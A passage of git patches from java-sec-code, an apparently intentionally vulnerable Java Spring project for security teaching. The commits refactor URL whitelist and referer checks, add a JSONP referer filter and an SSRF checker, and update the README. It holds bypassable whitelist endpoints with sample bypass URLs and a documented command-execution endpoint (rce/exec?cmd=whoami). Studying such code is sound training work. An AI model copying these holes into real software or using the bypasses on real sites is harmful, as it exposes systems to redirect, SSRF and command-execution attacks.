re } /** - * Desc: 直接访问不限制Referer，非直接访问限制Referer (开发同学喜欢这样进行JSONP测试) - * URL: http://localhost:8080/jsonp/emptyReferer?callback=test + * 直接访问不限制Referer，非直接访问限制Referer (开发同学喜欢这样进行JSONP测试) + * http://localhost:8080/jsonp/emptyReferer?callback=test + * */ @RequestMapping("/emptyReferer") @ResponseBody private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { String referer = request.getHeader("referer"); response.setHeader("Access-Control-Allow-Origin", "*"); - Security sec = new Security(); // 如果referer不为空，并且referer不在安全域名白名单内，return error // 导致空referer就会绕过校验。开发同学为了方便测试，不太喜欢校验空Referer - if (null != referer && !sec.checkSafeUrl(referer, urlwhitelist)) { + if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { return "error"; } @@ -58,9 +58,8 @@ private static String sec(HttpServletRequest request, HttpServletResponse respon // JSONP的跨域设置 response.setHeader("Access-Control-Allow-Origin", "*"); String referer = request.getHeader("referer"); - Security sec = new Security(); - if (!sec.checkSafeUrl(referer, urlwhitelist)) { + if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { return "error"; } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index f3b75693..1b33de64 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -9,6 +9,7 @@ import javax.servlet.http.HttpServletRequest; import java.net.URI; import java.net.URL; +import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -23,130 +24,142 @@ public class URLWhiteList { - private String urlwhitelist = "joychou.com"; + private String urlwhitelist[] = {"joychou.org", "joychou.com"}; - - // 绕过方法bypassjoychou.com + /** + * @desc 绕过方法bypassjoychou.org + * @usage http://localhost:8080/url/endswith?url=http://aaajoychou.org + */ @RequestMapping("/endswith") @ResponseBody public String endsWith(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); - System.out.println(url); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.endsWith(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + for (String domain: urlwhitelist){ + if (host.endsWith(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法joychou.com.bypass.com bypassjoychou.com + /** + * @desc 绕过方法joychou.org.bypass.com bypassjoychou.org + * @usage http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org + */ @RequestMapping("/contains") @ResponseBody public String contains(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.contains(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + for (String domain: urlwhitelist){ + if (host.contains(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法bypassjoychou.com，代码功能和endsWith一样/ + + /** + * @desc 绕过方法bypassjoychou.org，代码功能和endsWith一样 + * @usage http://localhost:8080/url/regex?url=http://aaajoychou.org + */ @RequestMapping("/regex") @ResponseBody public String regex(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - Pattern p = Pattern.compile("joychou\\.com"); - Matcher m = p.matcher(rootDomain); + Pattern p = Pattern.compile("joychou\\.org$"); + Matcher m = p.matcher(host); if (m.find()) { - return "URL is legal"; + return "Good url."; } else { - return "URL is illegal"; + return "Bad url."; } } + /** + * @desc 绕过方法joychou.org.bypass.com bypassjoychou.org，代码功能和 contains 一样 + * @usage http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + */ @RequestMapping("/indexof") @ResponseBody public String indexOf(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); - // indexof返回-1，表示没有匹配到字符串 - if (-1 == url.indexOf(urlwhitelist)) { - return "URL is illegal"; - } else { - return "URL is legal"; + URL u = new URL(url); + String host = u.getHost(); + // indexOf为-1，表示没有匹配到字符串 + for (String domain: urlwhitelist){ + if (host.indexOf(domain) != -1) { + return "Good url."; + } } + return "Bad url."; } - // URL类getHost方法被绕过造成的安全问题 - // 绕过姿势：http://localhost:8080/url/urlVul?url=http://www.taobao.com%23@joychou.com/, URL类getHost为joychou.com - // 直接访问http://www.taobao.com#@joychou.com/，浏览器请求的是www.taobao.com - @RequestMapping("/urlVul") + /** + * @desc 用java.net.URL类的getHost被绕过情况 + * @usage https://github.com/JoyChou93/java-sec-code/wiki/SecurityUtil-whtielist-Bypass + */ + @RequestMapping("/url_bypass") @ResponseBody - public String urlVul(HttpServletRequest request) throws Exception{ + public String url_bypass(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); System.out.println("url: " + url); URL u = new URL(url); // 判断是否是http(s)协议 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + return "Url is not http or https"; } String host = u.getHost().toLowerCase(); System.out.println("host: " + host); - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.equals(urlwhitelist)) { - return "URL is legal"; + if (host.endsWith("." + urlwhitelist)) { + return "Good url."; } else { - return "URL is illegal"; + return "Bad url."; } } - // 利用InternetDomainName库获取一级域名的安全代码 (一级域名白名单) + + /** + * @desc 利用InternetDomainName库获取一级域名的安全代码 (一级域名白名单) + */ @RequestMapping("/seccode") @ResponseBody public String seccode(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); - System.out.println("url: " + url); + URI uri = new URI(url); - URL u = new URL(url); // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; } + // 使用uri获取host String host = uri.getHost().toLowerCase(); - System.out.println("host: " + host); // 如果非顶级域名后缀会报错 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); if (rootDomain.equals(urlwhitelist)) { - return "URL is legal"; + return "Good url."; } else { - return "URL is illegal"; + return "Bad url."; } } /** * @desc 自定义一级域名白名单 * @usage http://localhost:8080/url/seccode1?url=http://aa.taobao.com - * @param request - * @return - * @throws Exception */ @RequestMapping("/seccode1") @ResponseBody @@ -154,59 +167,79 @@ public String seccode1(HttpServletRequest request) throws Exception{ // 定义一级域名白名单list，用endsWith加上.判断 String whiteDomainlists[] = {"taobao.com", "tmall.com"}; - String url = request.getParameter("url"); - System.out.println("url: " + url); + URI uri = new URI(url); - URL u = new URL(url); // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; } + // 使用uri获取host String host = uri.getHost().toLowerCase(); - System.out.println("host: " + host); for (String domain: whiteDomainlists){ if (host.endsWith("." + domain)) { - return "good url"; + return "Good url."; } } - return "bad url"; + return "Bad url."; } /** * @desc 自定义多级域名白名单 * @usage http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com - * @param request - * @return - * @throws Exception */ @RequestMapping("/seccode2") @ResponseBody public String seccode2(HttpServletRequest request) throws Exception{ - // 定义多级域名白名单，判断使用equals String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; - String url = request.getParameter("url"); - System.out.println("url: " + url); + URI uri = new URI(url); - URL u = new URL(url); // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; } // 使用uri获取host String host = uri.getHost().toLowerCase(); - System.out.println("host: " + host); for (String domain: whiteDomainlists){ if (host.equals(domain)) { - return "good url"; + return "Good url."; } } - return "bad url"; + return "Bad url."; + } + + /** + * @desc 自定义多级域名白名单 + * @usage http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com + */ + @RequestMapping("/seccode3") + @ResponseBody + public String seccode3(HttpServletRequest request) throws Exception{ + + // 定义多级域名白名单 + ArrayList whiteDomainlists = new ArrayList(); + whiteDomainlists.add("bbb.taobao.com"); + whiteDomainlists.add("ccc.bbb.taobao.com"); + + String url = request.getParameter("url"); + URI uri = new URI(url); + + // 判断是否是http(s)协议 + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; + } + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + + if (whiteDomainlists.indexOf(host) != -1) { + return "Good url."; + } + return "Bad url."; } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java new file mode 100644 index 00000000..0d444f55 --- /dev/null +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -0,0 +1,39 @@ +package org.joychou.security; + + +import java.net.URI; + +public class SecurityUtil { + + /** + * 通过endsWith判断URL是否合法 + * + * @param url + * @return 安全url返回true，危险url返回false + */ + public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { + try { + URI uri = new URI(url); + // 判断是否是http(s)协议 + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return false; + } + + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + for (String whitelist: urlwhitelist){ + if (host.endsWith("." + whitelist)) { + return true; + } + } + + return false; + } catch (Exception e) { + System.out.println(e.toString()); + return false; + } + } + + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/secFilter.java b/src/main/java/org/joychou/security/secFilter.java new file mode 100644 index 00000000..a42ae4eb --- /dev/null +++ b/src/main/java/org/joychou/security/secFilter.java @@ -0,0 +1,54 @@ +package org.joychou.security; + +import org.springframework.http.MediaType; + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import org.apache.commons.lang.StringUtils; + + +/** + * usage: 对所有带有callback参数的get请求做referer校验，如果校验失败返回403页面 + * desc: 除了以下代码，还需要在Application.java中添加@ServletComponentScan注解 + */ +@WebFilter(filterName = "referSecCheck", urlPatterns = "/*") +public class secFilter implements Filter{ + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String refer = request.getHeader("referer"); + String referWhitelist[] = {"joychou.org", "joychou.com"}; + + // get method and includes callback parameter + System.out.println(request.getMethod()); + if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ + // if check referer failed, display 403 forbidden page. + if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ + response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html + response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden + response.getWriter().write("Referer check failed. 403 Forbidden."); // response + return; + } + } + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java deleted file mode 100644 index d283d34c..00000000 --- a/src/main/java/org/joychou/utils/Security.java +++ /dev/null @@ -1,59 +0,0 @@ -package org.joychou.utils; - -import com.google.common.net.InternetDomainName; - -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.File; -import java.io.IOException; -import java.net.URI; -import java.net.URL; - -public class Security { - /** - * @param url - * @return 安全url返回true，危险url返回false - */ - public static Boolean checkSafeUrl(String url, String[] urlwhitelist) { - try { - URL u = new URL(url); - URI uri = new URI(url); - // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - System.out.println("The protocol of url is not http or https."); - return false; - } - // 使用uri获取host - String host = uri.getHost().toLowerCase(); - - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - - for (String whiteurl : urlwhitelist) { - if (rootDomain.equals(whiteurl)) { - return true; - } - } - - System.out.println("Url is not safe."); - return false; - } catch (Exception e) { - System.out.println(e.toString()); - e.printStackTrace(); - return false; - } - } - - - /** - * @param file - * @desc 判断文件内容是否是图片 - */ - public static boolean isImage(File file) throws IOException { - BufferedImage bi = ImageIO.read(file); - if (bi == null) { - return false; - } - return true; - } -} \ No newline at end of file From 0746f9ddb91f83acc217e709092c085ec0383adf Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 19 Jun 2019 15:12:54 +0800 Subject: [PATCH 026/108] redirect 403 forbidden page --- src/main/java/org/joychou/security/secFilter.java | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/src/main/java/org/joychou/security/secFilter.java b/src/main/java/org/joychou/security/secFilter.java index a42ae4eb..e9bdf653 100644 --- a/src/main/java/org/joychou/security/secFilter.java +++ b/src/main/java/org/joychou/security/secFilter.java @@ -15,7 +15,7 @@ * desc: 除了以下代码，还需要在Application.java中添加@ServletComponentScan注解 */ @WebFilter(filterName = "referSecCheck", urlPatterns = "/*") -public class secFilter implements Filter{ +public class secFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { @@ -33,13 +33,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter String referWhitelist[] = {"joychou.org", "joychou.com"}; // get method and includes callback parameter - System.out.println(request.getMethod()); if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ - // if check referer failed, display 403 forbidden page. + // if check referer failed, redirect 403 forbidden page. if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ - response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html - response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("Referer check failed. 403 Forbidden."); // response + response.sendRedirect("https://test.joychou.org/error3.html"); return; } } From 10e034579ccbd402b30bc519ba2d42abba45d18c Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Jun 2019 20:40:53 +0800 Subject: [PATCH 027/108] add ssrf checker --- README.md | 137 +++++++++-------- README_zh.md | 97 ++++++++++++ java-sec-code.iml | 1 + pom-extra.xml | 139 ------------------ pom-idea.xml | 125 ---------------- pom.xml | 6 + .../java/org/joychou/controller/CORS.java | 7 +- .../org/joychou/controller/CRLFInjection.java | 6 +- .../java/org/joychou/controller/CSRF.java | 8 +- .../org/joychou/controller/Deserialize.java | 6 +- .../org/joychou/controller/FileUpload.java | 16 +- .../java/org/joychou/controller/IPForge.java | 8 +- .../java/org/joychou/controller/Index.java | 6 +- .../java/org/joychou/controller/JSONP.java | 2 +- src/main/java/org/joychou/controller/Rce.java | 8 +- .../java/org/joychou/controller/SPEL.java | 12 +- .../java/org/joychou/controller/SQLI.java | 6 +- .../java/org/joychou/controller/SSRF.java | 32 +++- .../org/joychou/controller/URLRedirect.java | 43 ++++-- .../org/joychou/controller/URLWhiteList.java | 6 +- src/main/java/org/joychou/controller/XSS.java | 6 +- src/main/java/org/joychou/controller/XXE.java | 6 +- .../org/joychou/security/SSRFChecker.java | 137 +++++++++++++++++ .../org/joychou/security/SecurityUtil.java | 25 +++- 24 files changed, 444 insertions(+), 401 deletions(-) create mode 100644 README_zh.md delete mode 100644 pom-extra.xml delete mode 100644 pom-idea.xml create mode 100644 src/main/java/org/joychou/security/SSRFChecker.java diff --git a/README.md b/README.md index c2fe8aca..2b4fdddc 100644 --- a/README.md +++ b/README.md @@ -1,111 +1,120 @@ -# Java Security Code +# Java sec code -## 介绍 -该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) -每个漏洞类型代码默认存在安全漏洞（除非本身不存在漏洞），相关修复代码在注释里。具体可查看每个漏洞代码和注释。 +## Introduce -## 漏洞代码 +This project can also be called Java vulnerability code. -- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) -- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) -- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) -- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) -- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) -- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) -- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) -- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) -- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) -- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. + +## Vulnerability Code + +Sort by letter. + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) -- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -## 漏洞说明 -- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) -- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) -- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +## Vulnerability Description + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) +## How to run -## 如何运行 - +- Tomcat +- IDEA +- JAR ### Tomcat -1. 生成war包 `mvn clean package` -2. 将target目录的war包，cp到Tomcat的webapps目录 -3. 重启Tomcat应用 +- Exclude tomcat in pom.xml. + ``` + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-tomcat + + + + ``` + +- Build war package by `mvn clean package`. +- Copy war package to Tomcat webapps directory. +- Start tomcat application. + +Example: ``` http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami ``` - -返回 -``` +return: + +``` Viarus ``` ### IDEA -如果想在IDEA中直接运行，需要在IDEA中添加Tomcat配置，步骤如下： +Click `run` button. -``` -Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择java-sec-code:war exploded -``` - -![tomcat](https://github.com/JoyChou93/java-sec-code/raw/master/idea-tomcat.png) - -配置完成后，右上角直接点击run，即可运行。 +Example: ``` http://localhost:8080/rce/exec?cmd=whoami ``` - -返回 -``` +return: + +``` Viarus ``` ---- - -有人反馈不想额外下载Tomcat，想使用SpringBoot自带的Tomcat，所以额外说明。 - -具体操作：执行`cp pom-idea.xml pom.xml`后，最后在IDEA中右键`Run Application`。 +### JAR -### Jar包 +Change `war` to `jar` in `pom.xml`. - -有人反馈想直接打Jar包运行。具体操作： - -先修改pom.xml里的配置，将war改成jar - -``` - sec - java-sec-code - 1.0.0 - war +``` +sec +java-sec-code +1.0.0 +war ``` -再打包运行即可。 +Build package and run. ``` mvn clean package -DskipTests -java -jar 打包后的jar包路径 -``` +java -jar target/java-sec-code-1.0.0.jar +``` \ No newline at end of file diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 00000000..06c18121 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,97 @@ +# Java Security Code + +## 介绍 + +该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 + +每个漏洞类型代码默认存在安全漏洞（除非本身不存在漏洞），相关修复代码在注释里。具体可查看每个漏洞代码和注释。 + +## 漏洞代码 + +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) +- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) + +## 漏洞说明 + +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) + + +## 如何运行 + + +### Tomcat + +1. 生成war包 `mvn clean package` +2. 将target目录的war包，cp到Tomcat的webapps目录 +3. 重启Tomcat应用 + + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +``` + +返回 + +``` +Viarus +``` + +### IDEA + +直接点击run按钮即可运行。 + +``` +http://localhost:8080/rce/exec?cmd=whoami +``` + +返回 + +``` +Viarus +``` + + + +### Jar包 + + +先修改pom.xml里的配置，将war改成jar。 + +``` + sec + java-sec-code + 1.0.0 + war +``` + +再打包运行即可。 + +``` +mvn clean package -DskipTests +java -jar 打包后的jar包路径 +``` diff --git a/java-sec-code.iml b/java-sec-code.iml index 121c97a1..50a7df08 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -169,5 +169,6 @@ + \ No newline at end of file diff --git a/pom-extra.xml b/pom-extra.xml deleted file mode 100644 index d91e6c0e..00000000 --- a/pom-extra.xml +++ /dev/null @@ -1,139 +0,0 @@ - - - 4.0.0 - - sec - java-sec-code - 1.0.0 - war - - - - org.springframework.boot - spring-boot-starter-parent - 1.5.1.RELEASE - - - - - org.springframework.boot - spring-boot-starter-web - - - - org.springframework.boot - spring-boot-starter-tomcat - - - - - - - org.apache.tomcat - tomcat-servlet-api - 8.0.36 - provided - - - - - org.springframework.boot - spring-boot-starter-thymeleaf - - - - - mysql - mysql-connector-java - 8.0.12 - - - - - - com.alibaba - fastjson - 1.2.24 - - - - - - - org.jdom - jdom2 - 2.0.6 - - - - - org.dom4j - dom4j - 2.1.1 - - - - - - com.google.guava - guava - 21.0 - - - - commons-collections - commons-collections - 3.1 - - - - commons-lang - commons-lang - 2.4 - - - org.apache.httpcomponents - httpclient - 4.3.6 - - - org.apache.httpcomponents - fluent-hc - 4.3.6 - - - - - org.apache.logging.log4j - log4j-core - 2.8.2 - - - - com.squareup.okhttp - okhttp - 2.5.0 - - - - - org.apache.commons - commons-digester3 - 3.2 - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - - - - \ No newline at end of file diff --git a/pom-idea.xml b/pom-idea.xml deleted file mode 100644 index 44a3b87d..00000000 --- a/pom-idea.xml +++ /dev/null @@ -1,125 +0,0 @@ - - - 4.0.0 - - sec - java-sec-code - 1.0.0 - war - - - - org.springframework.boot - spring-boot-starter-parent - 1.5.1.RELEASE - - - - - org.springframework.boot - spring-boot-starter-web - - - - - - org.springframework.boot - spring-boot-starter-thymeleaf - - - - - mysql - mysql-connector-java - 8.0.12 - - - - - - com.alibaba - fastjson - 1.2.24 - - - - - - - org.jdom - jdom2 - 2.0.6 - - - - - org.dom4j - dom4j - 2.1.1 - - - - - - com.google.guava - guava - 21.0 - - - - commons-collections - commons-collections - 3.1 - - - - commons-lang - commons-lang - 2.4 - - - org.apache.httpcomponents - httpclient - 4.3.6 - - - org.apache.httpcomponents - fluent-hc - 4.3.6 - - - - - org.apache.logging.log4j - log4j-core - 2.8.2 - - - - com.squareup.okhttp - okhttp - 2.5.0 - - - - - org.apache.commons - commons-digester3 - 3.2 - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index ea72cdf6..6f8e114c 100644 --- a/pom.xml +++ b/pom.xml @@ -155,6 +155,12 @@ 2.1.5.RELEASE + + commons-net + commons-net + 3.6 + + diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index bb6ec779..6c8d5625 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -10,9 +10,9 @@ import javax.servlet.http.HttpServletResponse; /** - * @author: JoyChou - * @date: 2018年10月24日 - * @desc: https://github.com/JoyChou93/java-sec-code/wiki/CORS + * @author 